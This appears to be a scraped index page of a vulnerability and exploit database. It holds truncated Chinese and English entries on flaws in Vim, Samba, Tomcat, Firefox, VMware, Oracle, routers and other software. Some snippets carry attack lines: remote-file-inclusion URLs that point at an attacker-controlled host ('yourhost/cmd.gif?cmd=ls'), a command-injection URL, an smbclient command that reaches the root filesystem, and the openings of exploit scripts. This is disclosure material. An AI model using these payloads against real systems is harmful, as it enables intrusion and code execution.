Vim PySys_SetArgv函数本地命令执行漏洞

BUGTRAQ ID: 33447 CVECAN ID: CVE-2009-0316 VIM是一款免费开放源代码文本编辑器，可使用在Unix/Linux操作系统下。 VIM的python接口使用argv0调用PySysSetArgv函数。由于Python对sys.path变量附加了空字符串，如果工作目录中的文件名匹配VIM试图导入的python模块名，就可能允许本地用户在系统中执行任意代码。 VIM Development Group VIM...

Samba注册表共享名非授权访问漏洞

BUGTRAQ ID: 33118 CVECAN ID: CVE-2009-0022 Samba是一套实现SMB（Server Messages Block）协议、跨平台进行文件共享和打印共享服务的程序。 启用了注册表共享的Samba没有正确地验证共享名，通过认证的攻击者可以通过使用较老版本的smbclient并指定空字符串为共享名（如smbclient //server/ -U user%pass）来访问root文件系统。 Samba 3.2.0 - 3.2.6 临时解决方法： 通过registry shares = no禁用注册表共享。 厂商补丁： Samba -----...

XWork 'ParameterInterceptor'类OGNL安全绕过漏洞

BUGTRAQ ID: 32101 CNCAN ID：CNCAN-2008110505 XWork是一款命令模式框架，用于支持Struts 2及其他应用。 XWork存在设计问题，远程攻击者可以利用漏洞绕过安全限制，操作服务端上下文对象。 XWork ParametersInterceptor实现存在安全绕过问题，OGNL是复杂的语言提供大量特性，如使用表达式评估： http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html...

Apache Tomcat 'RemoteFilterValve'安全绕过漏洞

BUGTRAQ ID: 31698 CVE ID：CVE-2008-3271 CNCVE ID：CNCVE-20083271 Apache Tomcat是一款流行的开放源码的JSP应用服务器程序。 Apache Tomcat处理'RemoteFilterValve'扩展存在安全绕过问题，远程攻击者可以利用漏洞绕过访问限制，获得敏感信息。 在使用RemoteAddrValve允许部分地址访问引擎时： Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="a.b.c.d"/...

Linkarity (link.php) Remote SQL Injection Vulnerability

No description provided by source. ================================================================================ Linkarity link.php Remote SQL Injection Vulnerability ================================================================================ Discovered By: Egypt Coder home :...

Firefox CSSValue数组数据结构远程代码执行漏洞

BUGTRAQ ID: 29802 CVECAN ID: CVE-2008-2785 Firefox是一款流行的开源WEB浏览器。 Mozilla的内部CSSValue数组数据结构对CSS对象的引用计数器使用了过小的变量， 如果攻击者对常见的CSS对象创建了大量引用的话，当浏览器试图释放仍在使用的CSS对象时计数器会被溢出，导致拒绝服务或在用户机器上执行任意指令。 Mozilla Firefox 3.0.1 Mozilla ------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.mozilla.org/ RedHat ------...

Linux Kernel 2.6.x chown() Group Ownership Alteration Exploit

No description provided by source. / $Id: raptorchown.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorchown.c - syschown missing DAC controls on Linux Copyright c 2004 Marco Ivaldi [email protected] Unknown vulnerability in Linux kernel 2.x may allow local users to modify the group ID of file...

Simple DNS Plus <= 5.0/4.1 Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl Simple DNS Plus 5.0/4.1 remote Denial of Service exploit usage: sdns-dos.pl dns server dns source port num of packets Exploit written by Exodus. http://www.blackhat.org.il use IO::Socket; if@ARGV 3 print"sdns-dos.pl dns server dns source port num ...

Linux Kernel 32-bit/64bit仿真本地信息泄漏漏洞

BUGTRAQ ID: 29942 CVE ID：CVE-2008-0598 CNCVE ID：CNCVE-20080598 Linux是一款开放源代码的操作系统。 Linux 32和64位仿真模拟存在缺陷，本地攻击者可以利用漏洞构建特殊的程序，触发泄漏未初始化内存而导致敏感信息泄漏。 目前没有详细漏洞细节提供。 RedHat Enterprise Linux WS 4 RedHat Enterprise Linux ES 4 RedHat Enterprise Linux Desktop 5 client RedHat Enterprise Linux AS 4 RedHat...

VMware HGFS文件系统堆溢出漏洞

CVECAN ID: CVE-2008-2098 VMWare是一款虚拟PC软件，允许在一台机器上同时运行两个或多个Windows、DOS、LINUX系统。 VMware的主机访客文件系统（HGFS）共享文件夹功能允许用户在Guest操作系统与承载该系统的非虚拟化主机操作系统之间传输数据。VMware的HGFS功能存在堆溢出漏洞，如果VMware系统共享了至少一个文件夹的话（非默认），就可能触发这个溢出，非特权的Guest进程可以在主机上以vmx进程的权限执行任意代码。 VMWare VMWare Workstation 6.x VMWare ACE 2.x VMWare Player...

SugarCRM Community Edition RSS模块信息泄露漏洞

BUGTRAQ ID: 28981 SugarCRM是开源的客户关系管理系统。 SugarCRM没有正确地验证对RSS模块的输入便用于在cache/feeds目录中生成缓存文件，远程攻击者可能利用此漏洞在系统上创建文件。 RSS模块允许SugarCRM用户向个人RSS列表添加RSS源，但没有正确地过滤URL变量值，因此用户可以输入任意URI值。在这种情况下，SugarCRM可能无法在列表中显示新的RSS源，但应用程序会以所输入URL的md5哈希为文件名在cache/feeds目录中创建本地文件。 SugarCRM SugarCRM Community Edition 5.0 SugarC...

SAPID CMF Build 87 (last_module) Remote Code Execution Vulnerability

No description provided by source. SAPID CMF Build 87 lastmodule Remote Code Execution Vulnerability Script R84 : http://puzzle.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.r84.zip Script Update R87 :http://surfnet.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.update.r84-r87.zip Dork :...

Lotus Domino任意访问内存映射文件漏洞

BUGTRAQ ID: 26146 CVECAN ID: CVE-2007-5544 Lotus Domino/Notes服务器是一款基于WEB协同工作的应用程序架构，运行在Linux/Unix和Microsoft Windows操作系统平台下。 Lotus Domino的IPC机制实现上存在漏洞，本地攻击者可能利用此漏洞提升权限。 Lotus Domino的NLNOTES和NTASKLDR间进程间通讯（IPC）机制是通过内存映射的文件执行的，在创建文件时向ACL参数传送了NULL，导致EVERYONE都赋予了完全控制权限。...

RealPlayer ierpplug.dll ActiveX控件播放列表名称栈溢出漏洞

BUGTRAQ ID: 26130 CVECAN ID: CVE-2007-5601 RealPlayer是一款流行的媒体播放器，支持多种媒体格式。 RealPlayer的MPAMedia.dll库所提供的RealPlayer数据库组件在处理播放列表名时存在栈溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 由于可使用ierpplug.dll所提供的IERPCtl ActiveX控件将本地文件导入到RealPlayer中指定的播放列表，因此如果用户受骗访问了恶意网页并导入了恶意文件的话，就可以触发这个溢出，导致拒绝服务或执行任意指令。 Real Networks RealPlayer 1...

Weblogicnet (files_dir) Multiple Remote File Inclusion Vulnerabilities

No description provided by source. Nyubicrew Community Weblogicnet filesdir Remote File Inclusion vendor : http://www.weblogicnet.com/ source : http://weblogicnet.com/data/weblogicnet.tgz Bug Found By :homeedition2001 a.k.a bius 31-08-2007 contact: [email protected] Website :...

IBM DB2 Universal Database多个本地安全漏洞

BUGTRAQ ID: 25339 CVECAN ID: CVE-2007-4270,CVE-2007-4271,CVE-2007-4272,CVE-2007-4273,CVE-2007-4275,CVE-2007-4276 IBM DB2是一个大型的商业关系数据库系统，面向电子商务、商业资讯、内容管理、客户关系管理等应用，可运行于AIX、HP-UX、Linux、Solaris、Windows等系统。 IBM DB2的多个工具实现上存在漏洞，本地攻击者可能利用这些漏洞提升自己的权限。 IBM...

Apache 2.0.58 mod_rewrite Remote Overflow Exploit (win2k3)

No description provided by source. / apache mod rewrite exploit win32 By: fabio/b0x oc-192, old CoTS member Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded Code: bind shell on port 4445, tested on apache 2.0.58 with modrewrite windows 2003...

Sun Cluster软件本地拒绝服务漏洞

Sun Cluster将Solaris操作环境推广到一种集群操作系统。 Sun Cluster的实现上存在漏洞，本地攻击者可能利用此漏洞导致拒绝服务。 如果Sun Cluster节点上的特权用户为当前集群的成员的话，就能够破坏同一层集群节点的内存中数据结构，这可能导致系统忙碌和/或破坏同一层节点上的数据，影响应用程序的吞吐量或最终用户的数据或应用程序的可用性，具体取决于Sun Cluster的配置方式。 如果触发上述漏洞，可能出现数据破坏和sendmondo忙碌，栈追踪类似于： genunix:cdevioctl did:didioctl specfs:specioctl pxfs:vo...

Fully Modded PHPBB2 PHPBB_Root_Path远程文件包含漏洞

Fully Modded PHPBB2是一款基于PHP的WEB应用程序。 Fully Modded PHPBB2不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是WEB脚本对用户提交的'PHPBBRootPath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Fully Modded phpBB2 目前没有解决方案提供： http://phpbbfm.net/support/indexfm.php http://www.sebug.net/show-exp-364.html...

Ipswitch WS_FTP 5.05 Server Manager Local Site Buffer Overflow Exploit

No description provided by source. / Ipswitch WSFTP 5.05 Server Manager Local Site Buffer Overflow ...

MS Internet Explorer Recordset Double Free Memory Exploit (MS07-009)

No description provided by source. HTML !-- Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit ms07-009. Review: This code exploit "double free error" in msado15.dll NextRecordset function. As a result of double freeing of same string, rewriting of Heap Control Block ...

X-ice News System 1.0 (devami.asp id) SQL Injection Vulnerability

No description provided by source. Title : X-ice News System v1.0 Remote SQL Injection Vulnerability Author : CyberGhost Page : http://www.x-ice.org/haber%5Fv1/ Download : http://aspindir.com/indir.asp?id=4601&sIslem=%DDndir Vuln. Username :...

Oracle <= 9i / 10g (extproc) Local/Remote Command Execution Exploit

No description provided by source. -- -- $Id: raptororaextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptororaextproc.sql - command exec via oracle extproc -- Copyright c 2006 Marco Ivaldi [email protected] -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g --...

AnnoncesV Annonce.PHP远程文件包含漏洞

AnnoncesV是一款基于PHP的WEB应用程序。 AnnoncesV不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Annonce.PHP'脚本对用户提交的'cmd'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 annoncesV annoncesV 1.1 http://www.comscripts.com/scripts/php.annoncesv.1895.html http://www.example.com/annonce.php?page=yourcode.txt?cmd=id...

Intel网卡驱动本地权限提升漏洞

Intel Pro 100/1000是英特尔推出的系列网卡设备。 所有的Intel网卡驱动（NDIS miniport驱动）中都存在一个栈溢出漏洞，本地攻击者可能利用此漏洞提升自己在系统中的权限。 尽管NDIS miniport驱动占用的是低层，非特权用户态代码仍可以通过需要由NDIS实现的网卡统计请求与该驱动通讯。如果攻击者能够向\Device\adapterguid发送IOCTLNDISQUERYSELECTEDSTATS 0x17000E请求的话，就会导致NDIS.SYS调用...

3CTftpSvc TFTP传送模式远程缓冲区溢出漏洞

3CTftpSvc TFTP是一款tftp服务程序。 3CTftpSvc TFTP不正确处理超长传送模式，远程攻击者可以利用漏洞进行缓冲区溢出攻击，可能以进程权限执行任意指令。 当处理超长传送模式超过470字节传递给"GET"或"PUT"命令，可导致发生缓冲区溢出，精心构建提交数据，可能以进程权限执行任意指令。 3CTftpSvc TFTP Server 2.0.1 http://support.3com.com/software/utilitiesforwindows32bit.htm !/usr/bin/python Buffer Overflow Long transporting...

GNU GZip文档处理多个安全漏洞

gzip是一款非常流行的文件压缩工具。 gzip解压文档文件的方式中存在空指针引用或死循环漏洞。如果受害用户解压了特制文档的话，就会导致gzip挂起或崩溃。 此外，gzip解压文档文件的方式中存在几个缓冲区溢出漏洞。如果受害用户解压了特制文档的话，就会导致gzip崩溃或执行任意代码。 Debian Linux 3.1 FreeBSD FreeBSD 6.1 FreeBSD FreeBSD 6.0 FreeBSD FreeBSD 5.5 FreeBSD FreeBSD 5.4 FreeBSD FreeBSD 5.3 FreeBSD FreeBSD 4.11 RedHat Enterpris...

Omni-NFS Server 5.2 (nfsd.exe) Remote Stack Overflow Exploit (meta)

No description provided by source. vdxlink.pm The exploit is a part of VulnDisco Pack - use only under the license agreement specified in LICENSE.txt in your VulnDisco distribution VULNDISCO LICENSE Purchaser buys VulnDisco Pack "the Pack" and receives the right to use it under the terms of the...

Microsoft Outlook Web Access 'owalogon.asp' URL重定向漏洞

Microsoft Exchange Server是一款企业级的邮件服务程序。 Microsoft Outlook Web Access在处理URL时存在问题，远程攻击者可以利用这个漏洞重定向任意URL。 通过构建特殊URL，攻击者可以使用户重定向到任意URL，攻击者利用这个漏洞可以诱使用户访问某个页面，并可能记录密码并发送，或者下载任意文件等。 Microsoft Outlook 2003 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.microsoft.com/technet/security/ Donnie...

Linux Kernel ZLib无效内存访问本地拒绝服务漏洞

BUGTRAQ ID: 14719 CVECAN ID: CAN-2005-2458 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的zlib例程的inflate.c中存在漏洞。如果用户打开了特制的压缩文件的话，就可能导致kernel崩溃。 Linux kernel 2.6.12.5 Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： Linux linux-2.6.12.5.tar.gz...

Oracle DBMS绕过登录访问控制漏洞

BUGTRAQ ID: 16287 CVECAN ID: CVE-2006-0256 Oracle Database是一款大型商业数据库系统。 Oracle Database的登录过程实现存在漏洞，远程攻击者可能在登录过程中对服务器进行SQL注入攻击。...

phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities

No description provided by source. Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password:...

VoIPMonitor未授权远程代码执行漏洞（CVE-2021-30461）

SSD Advisory – VoIPmonitor UnAuth RCE May 6, 2021 SSD Disclosure / Technical Lead Uncategorized TL;DR Find out how a vulnerability in VoIPmonitor allows an unauthenticated attacker to execute arbitrary code. Vulnerability Summary VoIPmonitor is “open source network packet sniffer with commercial...

New transferFlaw Bug Used For Possible Scam Token Listed In A Top Exchange(CVE-2018-10468)

Our automated scanning system at PeckShield discovered a new vulnerability named transferFlaw CVE-2018–10468. This particular vulnerability affects a publicly traded ERC20 token listed in a top exchange. Different from batchOverflow 1 and proxyOverflow 2 we identified before, this vulnerability...

TP-Link TL-WR840N/TL-WR841N - Authenticaton Bypass

Title: TP-Link Multiple RouterTL-WR840N and TL-WR841N Unauthenticated Router Access Vulnerability Author: BlackFog Team Date: 27 May 2018 Website: SecureLayer7.net Contact: [email protected] Version: 0.9.1 4.16 v0001.0 Build 170622 Rel.64334n Hardware: TL-WR841N v13 00000013 Version : Firmwar...

Windows Kernel double fetches in win32kfull!xxxImeWindowPosChanged and win32kfull!InternalRebuildHwndListForIMEClass( CVE-2018-0809)

We have noticed the following code in the win32kfull!xxxImeWindowPosChanged function on Windows 10 version 1709 32-bit listing from the IDA Pro disassembler: .text:000485A4 ; try // except at locF3502 .text:000485A4 mov ebp+msexc.registration.TryLevel, 0 .text:000485AB mov eax, ecx .text:000485AD...

zzcms 8.2 任意用户密码修改

zzcms 8.2 任意用户密码修改 漏洞描述 zzcms是一款企业建站程序。 zzcms 8.2版本/one/getpassword.php文件存在漏洞，攻击者可利用该漏洞修改任意用户密码。 漏洞分析 /one/getpassword.php文件第 73行，触发漏洞的关键代码。 elseif$action=="step3" && @$SESSION'username'!='' $passwordtrue = isset$POST'password'?$POST'password':""; $password=md5trim$passwordtrue; query"update...

Dell SonicWALL Secure Mobile Access SMA 8.1 XSS And WAF CSRF

Summary Keep up with the demands of today’s remote workforce. Enable secure mobile access to critical apps and data without compromising security. Choose from a variety of scalable secure mobile access SMA appliances and intuitive Mobile Connect apps to fit every size business and budget...

Windows: Uninitialized variable in jscript!JsArraySlice(CVE-2017-11855)

There is an uninitialized variable vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors: - By opening a malicious web page in Internet Explorer. - currently untested An attacker on the local network could exploit this issue by posing as a WPAD Web Proxy...

MacOS/iOS kernel double free due to incorrect API usage in flow divert socket option handling(CVE-2017-13867)

SOFLOWDIVERTTOKEN is a socket option on the SOLSOCKETlayer. It's implemented by flowdiverttokensetstruct socket so, struct sockopt sopt in flowdivert.c. The relevant code is: error = sooptgetmsopt, &token; if error goto done; error = sooptmcopyinsopt, token; if error goto done; ... done: if token...

vBulletin cacheTemplates Unauthenticated Remote Arbitrary File Deletion(CVE-2017-17672)

Vulnerability Summary The following advisory describes a unauthenticated deserialization vulnerability that leads to arbitrary delete files and, under certain circumstances, code execution found in vBulletin version 5. vBulletin, also known as vB, is “a widespread proprietary Internet forum...

Cesanta Mongoose DNS Query Compressed Name Pointer Denial Of Service(CVE-2017-2909)

Summary An infinite loop programming error exists in the DNS server functionality of Cesanta Mongoose 6.8 library. A specially crafted DNS request can cause an infinite loop resulting in high CPU usage and Denial Of Service. An attacker can send a packet over network to trigger this vulnerability...

Circle with Disney Apid Use-Between-Reallocs Information Disclosure Vulnerability(CVE-2017-12083)

Summary An exploitable information disclosure vulnerability exists in the apid daemon of the Circle with Disney running firmware 2.0.1. A specially crafted set of packets can make the Disney Circle dump strings from an internal database into an HTTP response. An attacker needs network connectivit...

Apache OpenOffice DOC ImportOldFormatStyles Code Execution Vulnerability(CVE-2017-12608)

Summary An exploitable out-of-bounds write vulnerability exists in the WW8RStyle::ImportOldFormatStyles functionality of Apache OpenOffice 4.1.3. A specially crafted doc file can cause a out-of-bounds write resulting in arbitrary code execution. An attacker can send/provide malicious doc file to...

Ruby WIN32OLE ole_invoke and ole_query_interface Type Confusion Vulnerabilities(CVE-2016-2336)

DESCRIPTION Type Confusion exists in two methods of Ruby's WIN32OLE class, oleinvoke and olequeryinterface. Attacker passing different type of object than this assumed by developers can cause arbitrary code execution. TESTED VERSIONS Ruby 2.3.0 dev Ruby 2.2.2 PRODUCT URLs https://www.ruby-lang.or...

ansible-vault Yaml Load Code Execution Vulnerability

Summary An exploitable vulnerability exists in the yaml loading functionality of ansible-vault. A specially crafted vault can execute arbitrary python commands resulting in command execution. An attacker can insert python into the vault to trigger this vulnerability. Tested Versions ansible-vault...

Aerospike Database Server Index Name Code Execution Vulnerability(CVE-2016-9052)

Summary An exploitable stack-based buffer overflow vulnerability exists in the querying functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause a stack-based buffer overflow in the function assindexsimatchbyiname resulting in remote code execution. An attacker ca...

Aerospike Database Server Set Name Code Execution Vulnerability(CVE-2016-9054)

Summary An exploitable stack-based buffer overflow vulnerability exists in the querying functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause a stack-based buffer overflow in the function assindexsimatchlistbysetbinid resulting in remote code execution. An...

Libbpg BGP image decoding Code Execution Vulnerability(CVE-2016-8710)

Summary An exploitable heap write out of bounds vulnerability exists in the decoding of BPG images in libbpg library. A crafted BPG image decoded by libbpg can cause an integer underflow vulnerability causing an out of bounds heap write leading to remote code execution. This vulnerability can be...

Foscam IP Video Camera CGIProxy.fcgi SMTP Test Password Parameter Configuration Command Injection Vulnerability(CVE-2017-2843)

Summary An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary data in the "msmtprc" configuration file resulting...